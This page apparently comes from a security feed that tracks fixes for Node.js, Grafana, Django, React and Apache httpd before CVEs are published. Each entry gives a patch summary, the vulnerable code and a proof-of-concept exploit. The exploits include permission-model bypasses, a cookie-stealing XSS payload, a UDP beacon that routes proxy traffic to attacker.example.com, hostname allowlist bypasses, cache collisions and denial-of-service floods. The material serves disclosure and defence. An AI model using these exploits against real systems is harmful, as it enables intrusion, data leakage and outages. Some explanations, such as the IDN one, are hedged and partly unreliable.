“Exposing patches before CVEs since 2025”
Wednesday, August 12, 2026
Jul 3, 2026, 09:14 AM — grafana/grafana
Commit: 8891796ca1086cd234e1715ea71d8db0073cc160
Author: Gabriel MABILLE
Before this patch, the RBAC allowlist for unified storage did not include 'serviceaccounts' under the 'iam.grafana.app' group. This meant that when listing/searching/reading service accounts, the authzLimitedClient would not apply RBAC filtering, potentially allowing users without proper permissions to enumerate or read service account resources. The fix adds 'serviceaccounts' to the allowlist so that RBAC checks are properly enforced during list/search operations.
"iam.grafana.app": map[string]interface{}{"users": nil, "teams": nil},
A low-privileged user with no service account read permissions could issue a LIST request to the unified storage API for service accounts (GET /apis/iam.grafana.app/v1/namespaces/{org}/serviceaccounts) and receive a full list of service accounts without being filtered by RBAC, since the authzLimitedClient would bypass the access check for resources not in its allowlist.
Jul 2, 2026, 04:57 PM — nodejs/node
Commit: 592219798f9c091cf45427a827e763d964c3c2f8
Author: Matteo Collina
Fix a bug in `copyPermissionModelFlagsToEnv` where the substring check `env\[key\].indexOf('--permission') !== -1` falsely treats unrelated `NODE_OPTIONS` values like `--title=--permission` as if the child already has an explicit Permission Model policy. This prevents flag propagation, causing the child to run without `process.permission`.
if (args.includes('--permission') || args.includes('--permission-audit') ||
(env[key] && env[key].indexOf('--permission') !== -1)) {
return;
}
// Run a Node.js process with Permission Model enabled that spawns a child:
// Parent: node --permission --allow-child-process --allow-fs-read=* parent.js
// parent.js:
const { spawnSync } = require('child_process');
const result = spawnSync(process.execPath, ['-e', 'console.log(typeof process.permission)'], {
env: { ...process.env, NODE_OPTIONS: '--title=--permission' }
});
// Before fix: prints 'undefined' (child has no Permission Model)
// After fix: prints 'object' (child has Permission Model enforced)
console.log(result.stdout.toString()); // 'undefined' before patch
Jul 2, 2026, 03:28 PM — nodejs/node
Commit: b7e9a20bac3eeb83c0a4e96e6b95c90e796b3653
Author: Martin Wagner
The Node.js Permission Model's `permission.drop('addon')` function was ineffective because the DLOpen code path only checked the `allow_native_addons` option (set at startup) but never performed a runtime permission check. This meant a process that started with `--allow-addons` could call `process.permission.drop('addon')` to signal it no longer wanted addon loading, but could still successfully load native addons via `process.dlopen()`. The fix adds a `THROW_IF_INSUFFICIENT_PERMISSIONS` check in the `DLOpen` function so the permission model is enforced at runtime.
void DLOpen(const FunctionCallbackInfo<Value>& args) {
return THROW_ERR_DLOPEN_DISABLED(
env, "Cannot load native addon because loading addons is disabled.");
}
// No permission check here - missing THROW_IF_INSUFFICIENT_PERMISSIONS
// Run with: node --permission --allow-addons --allow-fs-read=* exploit.js
// BEFORE the patch:
process.permission.drop('addon');
console.log(process.permission.has('addon')); // false - looks like addon is denied
// But this still succeeds - bypass!
process.dlopen({ exports: {} }, '/path/to/malicious.node');
// The native addon executes arbitrary code despite permission.drop('addon') being called
Jun 30, 2026, 07:39 PM — grafana/grafana
Commit: a4703d4dca7ed6f682739e2fc75227c6ce69f8c2
Author: Collin Fingar
The GET /api/library-elements/name/:name endpoint was registered without any authentication or authorization middleware, allowing unauthenticated or unprivileged users to read library panel data by name. The patch adds the standard `authorize(ac.EvalPermission(ActionLibraryPanelsRead))` middleware to enforce the library.panels:read permission check before serving the response.
entities.Get("/name/:name", routing.Wrap(l.getByNameHandler)) // TODO: add wrapper for k8s - requires search
curl -s http://anonymous:wrongpassword@grafana-host/api/library-elements/name/My%20Library%20Panel # Returns 200 with library panel data without any authentication, while all other /api/library-elements/* endpoints require authentication and proper RBAC permissions.
Jun 30, 2026, 10:08 AM — nodejs/node
Commit: ea60060617d89b0af5eea55b7eea74958846ea45
Author: Matteo Collina
The MemoryProvider's recursive readdir implementation would follow symlinks to directories without tracking which directories were already being traversed. If a circular symlink was present (e.g., a directory containing a symlink pointing back to itself or to an ancestor), the recursive walk would loop indefinitely until the call stack was exhausted, causing a stack overflow and crashing the Node.js process. The fix introduces a SafeSet to track currently-active directory entries during traversal and skips re-entering any entry already on the active path.
const walk = (entry, currentPath, relativePath) => {
this.#ensurePopulated(entry, currentPath);
for (const { 0: name, 1: childEntry } of entry.children) {
// ... follows symlinks to directories with no cycle detection
// Node.js process crashes with stack overflow (RangeError: Maximum call stack size exceeded)
const vfs = require('node:vfs');
const v = vfs.create();
v.mkdirSync('/dir');
v.writeFileSync('/dir/file.txt', 'data');
v.symlinkSync('/dir', '/dir/loop'); // circular: /dir/loop -> /dir
// This triggers infinite recursion in #readdirRecursive:
v.readdirSync('/', { recursive: true }); // crashes the process
Jun 24, 2026, 02:00 PM — django/django
Commit: 65acb3cc2e76c238f5aee38d22626d92171a2f7c
Author: Jacob Walls
The `_generate_cache_key` function in Django's cache framework concatenated HTTP header values without any delimiter when building the cache key hash. This allowed two requests with different header values to produce the same cache key if the values concatenated to the same string (e.g., headers 'EU' and '' vs '' and 'EU'). The patch fixes this by using netstring encoding (length-prefixed with trailing comma) for each header value, ensuring unique encodings for distinct value combinations.
for header in headerlist:
value = request.META.get(header)
if value is not None:
ctx.update(value.encode())
# Setup: Response varies on two headers X-Region and X-Tenant
# Request A: X-Region='EU', X-Tenant='' -> MD5 input: b'EU' + b'' = b'EU'
# Request B: X-Region='', X-Tenant='EU' -> MD5 input: b'' + b'EU' = b'EU'
# Both produce the same cache key, so Request B gets the cached response for Request A
# Concrete exploit:
import requests
# First request: user in EU region, empty tenant
r1 = requests.get('https://example.com/page', headers={'X-Region': 'EU', 'X-Tenant': ''})
# This response gets cached under key hash of 'EU'
# Second request: empty region, EU tenant - a DIFFERENT user context
# Gets served the WRONG cached response because hash('EU') == hash('EU')
r2 = requests.get('https://example.com/page', headers={'X-Region': '', 'X-Tenant': 'EU'})
# r2 incorrectly receives r1's cached content
Jun 24, 2026, 02:00 PM — django/django
Commit: 8acd000725838f73c5e6781114f11866f6674c46
Author: Jacob Walls
The template fragment cache key generation used a simple `:` delimiter between vary-on arguments without encoding the length of each argument, allowing cache key collisions between different argument combinations. For example, vary_on=\['a:b','c'\] and vary_on=\['a','b:c'\] would produce the same MD5 hash, potentially causing one user's cached content to be served to another user with different cache parameters.
for arg in vary_on:
hasher.update(str(arg).encode())
hasher.update(b":")
from django.core.cache.utils import make_template_fragment_key
# Before patch, these two calls produce the SAME cache key:
key1 = make_template_fragment_key('foo', ['a:b', 'c']) # hashes 'a:b:c:'
key2 = make_template_fragment_key('foo', ['a', 'b:c']) # also hashes 'a:b:c:'
assert key1 == key2 # Collision! Different arguments, same cache key
# This means a page cached for user with args ['a:b','c'] would be returned
# for a user with args ['a','b:c'], leaking potentially sensitive cached content.
Jun 23, 2026, 07:21 PM — nodejs/node
Commit: ff58f43f453a90602ed2ab9ee357f370a29787d5
Author: Ijtihed Kilani
In Node.js `util.inspect()` with `colors: true`, the `markNodeModules` function entered an infinite loop when an error stack trace contained a `node_modules` path segment with no trailing path separator (e.g., `at /app/node_modules/foo.js:1:1`). `StringPrototypeIndexOf` returned `-1` for `moduleEnd`, which caused `searchFrom` to be set to `-1`, making the next `indexOf` restart from index 0, rematch the same segment, and grow `tempLine` unboundedly until the heap was exhausted. The fix clamps `moduleEnd` to `line.length` when no trailing separator is found, allowing the loop to terminate normally.
let moduleEnd = StringPrototypeIndexOf(line, separator, moduleStart);
if (line[moduleStart] === '@') {
// Namespaced modules have an extra slash: @namespace/package
moduleEnd = StringPrototypeIndexOf(line, separator, moduleEnd + 1);
}
// Run with Node.js before the patch:
const util = require('util');
const err = new Error('boom');
err.stack = 'Error: boom\n at /app/node_modules/foo.js:1:1';
// The following call enters an infinite loop, growing memory until OOM crash:
util.inspect(err, { colors: true });
Jun 23, 2026, 06:44 PM — nodejs/node
Commit: 29890721cda51eeb64f4079143d55b69333599c2
Author: Filip Skokan
Before this patch, Node.js WebCrypto's EdDSA (Ed25519/Ed448) signature verification would return 'true' for signatures involving small-order public keys or small-order R components in the signature, even when the signature was mathematically trivial/invalid. This is a signature verification bypass: an attacker can use a small-order public key (e.g., a low-order point) along with a crafted signature to produce a valid verification result without knowing the private key, since multiplying a small-order point by any scalar yields a point in the small subgroup. The patch adds explicit rejection of small-order points in both the public key and the signature's R component during verification.
if (context.verify(params.data, params.signature)) {
static_cast<char*>(buf.get())[0] = 1;
}
// Using Node.js WebCrypto before the patch:
const { subtle } = globalThis.crypto;
// Small-order Ed25519 public key (order-8 point)
const smallOrderPubKey = Buffer.from('c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac03fa', 'hex');
// Crafted signature with small-order R component
const craftedSig = Buffer.from('c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac037a' + '0000000000000000000000000000000000000000000000000000000000000000', 'hex');
const data = Buffer.from('8c93255d71dcab10e8f379c26200f3c7bd5f09d9bc3068d3ef4edeb4853022b6', 'hex');
const key = await subtle.importKey('raw', smallOrderPubKey, { name: 'Ed25519' }, false, ['verify']);
const result = await subtle.verify({ name: 'Ed25519' }, key, craftedSig, data);
// Before patch: result === true (bypass!), After patch: result === false
Jun 23, 2026, 05:20 PM — grafana/grafana
Commit: 7b304b3e2809008286c66ca6b2fbb712535c3465
Author: Jessica Liu
The Kubernetes-based GET /tags API endpoint in Grafana's annotation app returned all annotation tags to any authenticated user regardless of their permissions. Before the patch, the tags handler was initialized without an access client and performed no authorization checks, meaning any authenticated user (including those with org role = None and no permissions) could enumerate all annotation tags in an organization. The patch adds a call to `authorizeReadOrganizationAnnotations` that verifies the caller has `annotations:read` permission with organization scope before returning tag data.
tagHandler := newTagsHandler(tagProvider, installer.tracer, installer.metrics, logger) // newTagsHandler had no accessClient parameter and performed no authz checks
# An authenticated Grafana user with org role=None (no permissions) can enumerate all annotation tags: curl -H 'Authorization: Bearer <token_of_user_with_no_permissions>' \ 'https://grafana-instance/apis/annotation.grafana.app/v0alpha1/namespaces/default/tags' # Before patch: returns full list of annotation tags (exposing potentially sensitive tag metadata) # After patch: returns 403 Forbidden with 'requires the annotations:read permission with the organization scope'
Jun 23, 2026, 10:28 AM — facebook/react
Commit: 99e86060ac35ea81153ac39ddab9b4cd744d9391
Author: Minh Vu
The `onError` function in standalone.js used `node.innerHTML` to render error messages, directly interpolating the `message` property from error objects into an HTML string template. If an attacker could control the error `message` (e.g., through a malicious WebSocket server response or crafted network error), they could inject arbitrary HTML/JavaScript into the DevTools UI. The patch replaces `innerHTML` with `textContent` via DOM node construction, neutralizing HTML injection.
node.innerHTML = `
<div class="box">
<div class="box-header">
Unknown error
</div>
<div class="box-content">
${message}
</div>
</div>
`;
A malicious WebSocket server sends an error with message: '<img src=x onerror=alert(document.cookie)>'. When the DevTools client connects to this server and receives an error, the old code would execute: node.innerHTML = `...<div class="box-content"><img src=x onerror=alert(document.cookie)></div>...`; causing the onerror handler to execute arbitrary JavaScript in the Electron/browser context running DevTools.
Jun 23, 2026, 09:44 AM — grafana/grafana
Commit: b9b897b3c512ee434341bb9d698eac24f90eca89
Author: Costa Alexoglou
Before the patch, the `listPermission` function for mapper-miss resources (folder-scoped CRDs like `*.ext.grafana.app`) would hit the `scopeMap\["*"\]` early-return check before forking to the folder-authz model. This meant that if a user had a resource-type wildcard permission (e.g., `unregistered.grafana.app/widgets:get` with scope `*`), the LIST endpoint would return `All: true` (allowing all objects) without requiring any folder-level authorization. The fix forks to `listPermissionWithFolderAuthz` before the wildcard check, ensuring folder-scoped resources always require both a stack role AND folder-level permission.
func (s *Service) listPermission(ctx context.Context, scopeMap map[string]bool, req *listRequest) (*authzv1.ListResponse, error) {
if scopeMap["*"] {
return &authzv1.ListResponse{
All: true,
...
Send a List request for a folder-scoped CRD resource (e.g., group=widget.ext.grafana.app, resource=widgets) with a user that has a wildcard resource permission (Action: 'widget.ext.grafana.app/widgets:get', Scope: '*'). Before the patch, the response would return {All: true} granting access to all objects without any folder authorization check. This allows a user with only a resource-type wildcard grant (but no folder access) to list all objects across all folders.
Jun 22, 2026, 05:28 PM — apache/httpd
Commit: f4ec94c524895c7bdceb418a1a7dae80b8496f10
Author: Jim Jagielski
Before this patch, ProxyBeaconSecret was optional. Without it, any host that could reach the proxy's UDP beacon port could send an unauthenticated datagram announcing an arbitrary backend URL, causing the proxy to add that URL as a balancer member and route client traffic to an attacker-controlled server. Since UDP source addresses are trivially spoofable, there was no reliable way to restrict who could inject members. The patch makes ProxyBeaconSecret mandatory, causing startup to fail if it is omitted, eliminating the unauthenticated mode entirely.
if (ctx->balancer_name && !ctx->has_secret && !ctx->warned_insecure) {
ap_log_error(APLOG_MARK, APLOG_WARNING, 0, s,
APLOGNO(10572) "mod_proxy_beacon: beacon channel on %pI is "
"UNAUTHENTICATED; set ProxyBeaconSecret on the proxy and "
"all backends to require signed beacons", ctx->addr);
ctx->warned_insecure = 1;
}
# Attacker sends a crafted UDP beacon datagram to the proxy's listen port (e.g., UDP/5555)
# with no secret configured on the proxy, causing the proxy to add an attacker-controlled
# backend to the balancer and route client traffic there.
python3 -c "
import socket
msg = b'BEACON url=http://attacker.example.com:9999 host=evil pid=1234 seq=1 ts=1719000000000000'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg, ('proxy.internal', 5555))
print('Sent malicious beacon - proxy will now route traffic to attacker.example.com:9999')
"
Jun 20, 2026, 02:58 PM — nodejs/node
📈 Patch landed 2 days 6 hours 32 minutes before CVE published
Commit: 57a4932a9def74d1a1161805fe6aa4c040157652
Author: Matteo Collina
When http.Agent with keepAlive is used, there is a window between a socket entering the freeSockets pool (with parser detached) and being reassigned to a new request. If a server sends an HTTP response during this window, the data sits in the TCP buffer and gets silently consumed as the response for the next request — poisoning the response queue. The fix installs a low-level read guard on the socket handle so unsolicited data destroys the socket. This commit is a follow-up that changes the guard from a public 'data' event listener (which caused false ERR_STREAM_PREMATURE_CLOSE in node-fetch@2) to an internal onread hook, but the underlying security fix (destroying sockets with unsolicited data) was already present.
socket.on('data', freeSocketDataGuard);
socket.resume();
const http = require('http');
const net = require('net');
// Server that sends an extra response after the first request completes
const server = http.createServer((req, res) => {
const sock = req.socket;
res.end('legit');
// After response, inject a poisoned response into the idle socket
setImmediate(() => {
sock.write('HTTP/1.1 200 OK\r\nContent-Length: 6\r\n\r\nHACKED');
});
});
server.listen(0, () => {
const agent = new http.Agent({ keepAlive: true });
const opts = { host: '127.0.0.1', port: server.address().port, agent };
http.get({ ...opts, path: '/first' }, (res) => {
res.resume();
res.on('end', () => {
// Socket returned to pool; poisoned response is in TCP buffer
// Next request receives 'HACKED' instead of real response
http.get({ ...opts, path: '/second' }, (res2) => {
let body = '';
res2.on('data', d => body += d);
res2.on('end', () => console.log('Got:', body)); // prints 'HACKED' without the fix
});
});
});
});
Jun 19, 2026, 04:30 PM — django/django
Patch landed 16 days 59 minutes after CVE published
Commit: b461519bf5973d7fc149560d2f99acdba71a437d
Author: Natalia
Django's UpdateCacheMiddleware failed to recognize qualified Cache-Control directives (e.g., `Cache-Control: private="Set-Cookie"`) as restrictions on caching. The code used exact token matching against the full directive string, so `private="Set-Cookie"` would not match the string `private`, causing the response to be stored in a shared cache even though it was marked private. The patch introduces a `split_directive_names()` helper that strips the qualified value portion before comparison.
cache_control_parts = list(split_header_value(cache_control))
if cache_control and any(
directive in cache_control_parts
for directive in ("private", "no-cache", "no-store",)
):
# A Django view returning a response with a qualified Cache-Control directive:
from django.http import HttpResponse
from django.views.decorators.cache import cache_page
@cache_page(300)
def sensitive_view(request):
user_data = f"Secret data for user: {request.user}"
response = HttpResponse(user_data)
# RFC 9111 allows qualified form: private="Set-Cookie" means only Set-Cookie
# header is private, but the directive name is still 'private'
response['Cache-Control'] = 'private="Set-Cookie"'
return response
# Before the patch: the middleware checks if 'private="Set-Cookie"' is in
# ['private="Set-Cookie"'] matching against 'private' -> False, so the
# response IS stored in cache. A second request from a different user
# receives the first user's sensitive data from cache.
# request1 = factory.get('/sensitive/')
# response1 = sensitive_view(request1) # stored in shared cache
# request2 = factory.get('/sensitive/')
# response2 = sensitive_view(request2) # returns user1's data from cache!
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 7dafafa2424710ded8b77eb7c878e884c1aef64e
Author: Matteo Collina
Node.js DNS lookup and net.connect functions accepted hostnames containing embedded NUL bytes (\\u0000). Because C strings are NUL-terminated, the underlying C library (getaddrinfo/c-ares) would truncate the hostname at the first NUL byte, causing the actual DNS lookup to resolve a completely different hostname than what the JavaScript code specified. This could allow bypassing hostname validation or allowlist checks in application code. The patch adds a `validateStringWithoutNullBytes` validator that throws ERR_INVALID_ARG_VALUE when NUL bytes are present.
if (hostname) {
validateString(hostname, 'hostname');
}
// Attacker bypasses hostname allowlist check:
const dns = require('dns');
// Application checks hostname ends with '.allowed.example' - validation passes
// But actual DNS query resolves '127.0.0.1' (truncated at NUL)
dns.lookup('127.0.0.1\u0000.allowed.example', {}, (err, address) => {
console.log(address); // resolves 127.0.0.1, bypassing the allowlist check
});
// Similarly with net:
const net = require('net');
// App validates host contains '.trusted.example', but connects to 'evil.com'
net.createConnection({ host: 'evil.com\u0000.trusted.example', port: 80 });
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 9cc4e32375cc0ef9b6e7452e287f12f864c99553
Author: Matteo Collina
Before this patch, TLS session tickets/sessions stored by Node.js could be reused for connections to different hosts. An attacker who could influence the session cache (e.g., via a malicious or compromised server, or by controlling the session data) could cause a client to reuse a TLS session authenticated for host A when connecting to host B, bypassing certificate verification for the second connection. The patch binds session data to the server identity by wrapping sessions with a prefix that includes the servername, and validates the identity matches before reuse.
TLSSocket.prototype.setSession = function(session) {
if (typeof session === 'string')
session = Buffer.from(session, 'latin1');
this._handle.setSession(session);
};
// Attacker scenario: steal a TLS session from evil.com and reuse it for bank.com
const tls = require('tls');
// Step 1: Connect to evil.com (attacker-controlled server) and capture session
const evilConn = tls.connect({ host: 'evil.com', port: 443 });
let stolenSession;
evilConn.on('session', (session) => { stolenSession = session; });
// Step 2 (before patch): Reuse stolen session for bank.com - bypasses cert check
// because isSessionReused() returns true and checkServerIdentity is skipped
const bankConn = tls.connect({
host: 'bank.com',
port: 443,
session: stolenSession, // raw session, no host binding
});
// Connection succeeds with session reuse, checkServerIdentity is never called
// because onConnectSecure checks: if (!verifyError && !this.isSessionReused())
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: a929332960773e85c9e987dc7b32e3bcb8b77b77
Author: RafaelGSS
The `FileHandle.utimes()` method (which calls `futimes` internally) did not check whether the Node.js Permission Model was enabled before modifying file timestamps. This allowed an attacker to bypass write-access restrictions enforced by the Permission Model by obtaining a file descriptor through a read-only open and then calling `fh.utimes()` to modify timestamps on files that should be protected from writes. The patch adds an explicit check that throws `ERR_ACCESS_DENIED` when the Permission Model is active.
async function futimes(handle, atime, mtime) {
atime = toUnixTimestamp(atime, 'atime');
mtime = toUnixTimestamp(mtime, 'mtime');
return await PromisePrototypeThen(
// Run with: node --permission --allow-fs-read=* exploit.js
// (no --allow-fs-write granted)
const { open } = require('fs/promises');
(async () => {
// Open file for reading only (allowed by permission model)
const fh = await open('/some/protected/file.txt', 'r');
// Before the patch, this would succeed despite no write permission
await fh.utimes(0, 0); // sets atime/mtime to epoch, bypassing permission model
console.log('Timestamps modified without write permission!');
await fh.close();
})();
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: e4c8dc983ce2fae81f9cfe15167b4b589d63c017
Author: RafaelGSS
The Node.js Permission Model's Net scope could be bypassed via `uv_pipe_chmod` on Unix Domain Sockets. Before the patch, `PipeWrap::Fchmod` did not check the Net permission scope, allowing code running under `--permission --allow-net=...` restrictions to call `pipe.fchmod()` and change permissions on a UDS pipe even when net access was denied. The patch adds a `THROW_IF_INSUFFICIENT_PERMISSIONS` check for `kNet` before allowing the chmod operation.
void PipeWrap::Fchmod(const v8::FunctionCallbackInfo<v8::Value>& args) {
PipeWrap* wrap;
ASSIGN_OR_RETURN_UNWRAP(&wrap, args.This());
CHECK(args[0]->IsInt32());
int mode = args[0].As<Int32>()->Value();
int err = uv_pipe_chmod(&wrap->handle_, mode);
args.GetReturnValue().Set(err);
}
// Run with: node --permission --allow-fs-read=* --allow-fs-write=* exploit.js
// Before patch, this would succeed in calling fchmod on a pipe despite Net being denied
const net = require('net');
const server = net.createServer();
// Bypass: directly access internal pipe handle and call fchmod
// The open+chmod on the UDS socket would succeed without Net permission check
const pipe = server._handle;
if (pipe && pipe.fchmod) {
pipe.fchmod(0o777); // No ERR_ACCESS_DENIED thrown before patch
console.log('Net permission bypass succeeded via fchmod');
}
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 4 days 17 hours 1 minute before CVE published
Commit: 179ddaedfba33a70f638de708a2e3289bee3cd55
Author: Matteo Collina
When http.Agent uses keepAlive sockets, there is a window between a socket returning to the freeSockets pool (with the HTTPParser detached) and being reused for the next request. During this window, a malicious or misbehaving server can send unsolicited HTTP response data that sits in the TCP buffer and gets consumed as the response for the next client request, effectively poisoning the response queue. The fix attaches a 'data' event guard listener and calls resume() on idle sockets so any unsolicited data immediately destroys the socket instead of being silently buffered.
socket.once('error', freeSocketErrorListener);
freeSockets.push(socket);
const http = require('http');
// Attacker controls the server or can inject data at TCP level.
// 1. Client sends request1, server responds, socket goes to freeSockets pool.
// 2. Before client sends request2, server writes a fake response on the idle socket:
// serverSocket.write('HTTP/1.1 200 OK\r\nX-Poisoned: true\r\nContent-Length: 13\r\n\r\nattacker-data');
// 3. Client sends request2 - without the fix, the buffered poisoned data is
// consumed as the response to request2, returning attacker-controlled headers/body.
// 4. The real response to request2 arrives later and corrupts the next request.
// Net effect: client sees attacker-injected response body/headers for request2.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 6a8808a0bbec99eb8efabfe5ec398239ad1e522f
Author: Filip Skokan
Before the patch, the WebCrypto cipher paths in AES and ChaCha20-Poly1305 computed the output buffer length as `int buf_len = data_len + ctx.getBlockSize() + (encrypt ? tag_len : 0)` where `data_len` is a `size_t` and the result is stored in an `int`. When `data_len` is very large (e.g., close to or exceeding INT_MAX), this arithmetic overflows the signed int, leading to a negative or incorrect buffer length being allocated and passed to OpenSSL, causing potential heap buffer overflow or memory corruption. The patch adds a `TryGetIntCipherOutputLength` helper that checks if the sum would exceed INT_MAX before computing the output length.
size_t total = 0; int buf_len = data_len + ctx.getBlockSize() + (encrypt ? tag_len : 0);
// Using Node.js WebCrypto API:
const { webcrypto } = require('crypto');
async function exploit() {
const key = await webcrypto.subtle.generateKey({name: 'AES-GCM', length: 128}, false, ['encrypt']);
// Craft an input where data_len is large enough to cause overflow when added to block_size+tag_len
// data_len near INT_MAX causes: int buf_len = ~2GB + 16 + 16 => signed integer overflow => negative buf_len
// This leads OpenSSL to receive a negative/wrong length, causing heap corruption
const largeInput = new Uint8Array(2 * 1024 * 1024 * 1024 - 10); // ~2GB, near INT_MAX
await webcrypto.subtle.encrypt({name: 'AES-GCM', iv: new Uint8Array(12)}, key, largeInput);
// Before patch: signed integer overflow on buf_len computation -> heap buffer overflow
// After patch: operation cleanly fails with FAILED status
}
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 3e9954a88b6a291fc4041aa7ff2b9725f4f86025
Author: Matteo Collina
Before the patch, the `ProxyConfig` class stored the full proxy URL including plaintext credentials (username and password) in `this.href`. When tunnel establishment failed (e.g., 407 Proxy Authentication Required), Node.js would include `this.href` in the error message, causing proxy credentials to appear in error output, logs, or stderr. The patch redacts credentials from the stored href by clearing username/password from the parsed URL before storing it.
this.href = proxyUrl;
Set HTTPS_PROXY=http://secretuser:[email protected]:8080 and make an HTTPS request through a proxy that returns 407. Before the patch, stderr/error messages would contain the full URL including 'secretuser:secretpass', e.g.: 'Tunnel failed via http://secretuser:[email protected]:8080 - 407 Proxy Authentication Required'. An attacker with access to logs or error output could extract the proxy credentials.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 14 hours 6 minutes before CVE published
Commit: 9cc79c177da561e295ed4d58c7596cc6cd2c1b0c
Author: RafaelGSS
When Node.js is run with the --permission flag (Permission Model), `process.report.writeReport()` did not check whether the process had FileSystemWrite permission before writing files to disk. This allowed code running under a restricted permission context to bypass filesystem write restrictions by writing diagnostic reports to arbitrary locations. The patch adds an explicit permission check using `permission.has('fs.write', resource)` before allowing the write operation.
writeReport(file, err) {
if (typeof file === 'object' && file !== null) {
err = file;
file = undefined;
} else if (file !== undefined) {
validateString(file, 'file');
file = getValidatedPath(file);
}
// No permission check here - write proceeds regardless of --permission flags
node --permission --allow-fs-read=* -e "process.report.writeReport('/etc/cron.d/malicious_report')"
// Before the patch, this would write a file to /etc/cron.d/ even though --allow-fs-write was not granted, bypassing the Permission Model's filesystem write restrictions. Similarly: node --permission --allow-fs-read=* -e "process.report.writeReport()" would write to process.cwd() without any write permission check.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 1efb4ff51a0624236332ea98b23bd1106f68d8af
Author: Matteo Collina
Before the patch, Node.js's `checkServerIdentity` function did not normalize Unicode/IDN hostnames to their ASCII-compatible encoding (ACE/Punycode) before comparing against certificate Subject Alternative Names. An attacker could use a Unicode full-width or lookalike character (e.g., the ideographic full stop '。' U+3002) in a hostname that would visually appear similar to a legitimate domain, bypassing TLS server identity verification because the raw Unicode string wouldn't match the ASCII certificate SAN, but the connection might still be allowed in certain edge cases. The patch converts the hostname to ASCII via `domainToASCII` before performing identity checks.
hostname = unfqdn(hostname); // Remove trailing dot for error messages.
if (net.isIP(hostname)) {
valid = ips.includes(canonicalizeIP(hostname));
if (!valid)
reason = `IP: ${hostname} is not in the cert's list: ` + ips.join(', ');
} else if (dnsNames.length > 0 || subject?.CN) {
const hostParts = splitHost(hostname);
// An attacker controls a server with a wildcard cert for *.evil.com
// They craft a hostname using Unicode lookalike characters that,
// when NOT normalized, bypasses the check:
//
// const tls = require('tls');
// const result = tls.checkServerIdentity('foo。bar.example.com', {
// subjectaltname: 'DNS:*.example.com',
// subject: {}
// });
// Before patch: The Unicode full-stop '。' (U+3002) is NOT normalized,
// so 'foo。bar.example.com' is split incorrectly and may not match '*.example.com',
// but more critically, a hostname like 'victim.com\u3002attacker.com' could
// be passed where domainToASCII would yield 'victim.com.attacker.com',
// allowing certificate validation to succeed against a cert for '*.attacker.com'
// while the user sees 'victim.com。attacker.com' in the URL.
//
// Concrete PoC: Connect to a TLS server where hostname='legit.com\u3002evil.com'
// and the server presents a cert with SAN 'DNS:*.evil.com'.
// Before patch: splitHost('legit.com\u3002evil.com') treats U+3002 as non-dot,
// causing hostname split to fail in a way that could allow the wildcard match
// against the ASCII-normalized form 'legit.com.evil.com' => matches '*.evil.com'.
Jun 18, 2026, 04:29 AM — nodejs/node
📈 Patch landed 7 days 23 hours 2 minutes before CVE published
Commit: 65a3ab3264f87725661deee4ebda85726c50fa98
Author: Matteo Collina
A malicious HTTP/2 server could send an unbounded number of ORIGIN frames with unique origins, causing the client-side `originSet` (a Set) to grow without limit for the lifetime of the session. This results in unbounded memory consumption on the client, leading to a denial-of-service condition. The patch caps the originSet at 128 entries (configurable via `maxOriginSetSize`) and destroys the session with an error when the limit is exceeded.
function onOrigin(origins) {
if (!session.encrypted || session.destroyed)
return undefined;
const originSet = initOriginSet(session);
for (let n = 0; n < origins.length; n++)
originSet.add(origins[n]);
session.emit('origin', origins);
}
// Malicious HTTP/2 server that exhausts client memory:
const http2 = require('node:http2');
const server = http2.createSecureServer({ key, cert });
server.on('session', (session) => {
let i = 0;
setInterval(() => {
// Send 1000 unique origins per frame repeatedly
session.origin(...Array.from({ length: 1000 }, () => `https://evil${i++}.attacker.com`));
}, 1); // Flood the client with unique origins indefinitely
});
// Client connecting to this server will accumulate millions of entries in originSet,
// consuming gigabytes of memory until the process crashes or is OOM-killed.